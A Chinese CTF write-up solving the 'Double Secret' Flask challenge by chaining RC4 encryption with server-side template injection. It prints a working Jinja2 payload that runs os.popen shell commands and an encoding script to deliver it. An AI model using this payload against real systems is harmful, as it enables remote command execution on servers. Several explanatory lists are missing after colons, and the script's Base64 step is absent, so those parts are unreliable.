第一次打开这个题目时,看到的是一个看似简单的Web界面。题目名为"Double Secret",直觉告诉我这肯定暗藏玄机。按照CTF比赛的常规套路,我首先检查了robots.txt文件,但这次并没有发现有用线索。接着我注意到URL中有一个/secret目录,访问后出现了一个输入框。
尝试直接提交空参数?secret=时没有反应,但当输入超过4个字符时,页面突然抛出了一个报错信息。这个报错非常关键,它暴露了后端处理逻辑:首先对输入进行RC4加密,然后通过render_template_string渲染。看到这里我眼睛一亮——这不就是典型的SSTI(服务器端模板注入)漏洞吗?
题目给出了关键的加密代码片段,使用的是RC4算法。RC4是一种流加密算法,它的特点是加密解密使用相同的密钥。在这个题目中,密钥是硬编码的"HereIsTreasure"。
我找到了一个现成的RC4实现脚本,但需要稍作修改才能用在这个题目上。关键是要理解它的加密流程:
特别需要注意的是,题目中的加密结果还经过了Base64编码和URL编码双重处理。这意味着我们的payload在注入前需要先经过这一系列转换。
确认存在SSTI漏洞后,下一步就是构造有效的payload。在Flask/Jinja2环境下,常见的利用方式是通过Python的对象继承链来访问危险函数。
我使用的payload模板是:
python复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('命令').read()")}}
{% endif %}
{% endfor %}
这个payload的工作原理是:
有了RC4加密脚本和SSTI payload,现在需要将它们组合起来。具体步骤如下:
我写了一个自动化脚本处理这个过程:
python复制from urllib import parse
import base64
def rc4_encrypt(payload):
# 省略RC4实现代码
return encrypted_payload
ssti_payload = '''{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}'''
encrypted = rc4_encrypt(ssti_payload)
final_payload = parse.quote(encrypted)
print(f"最终payload: ?secret={final_payload}")
在实际操作中,我遇到了几个坑需要特别注意:
payload长度限制:最初测试时发现超过一定长度就会报错,后来发现是因为URL有长度限制。解决方法是对payload进行分段测试。
编码问题:RC4加密后的二进制数据在转换为字符串时容易出现编码错误。确保使用正确的编码方式(通常是Latin-1)。
命令注入的过滤:有些特殊字符会被过滤,可以使用编码绕过或者找到替代命令。
错误信息分析:当payload不生效时,仔细阅读错误信息可以获取很多有用线索,比如哪些字符被过滤了。
经过多次尝试,最终使用"cat /flag.txt"命令成功获取到flag。整个过程的关键在于理解RC4加密流程和SSTI利用原理的结合。
从防御角度来看,这个题目教会我们几个重要的安全准则:
在实际开发中,建议使用成熟的模板引擎并保持更新,同时实施严格的内容安全策略。对于加密操作,应该使用经过验证的库而不是自己实现算法。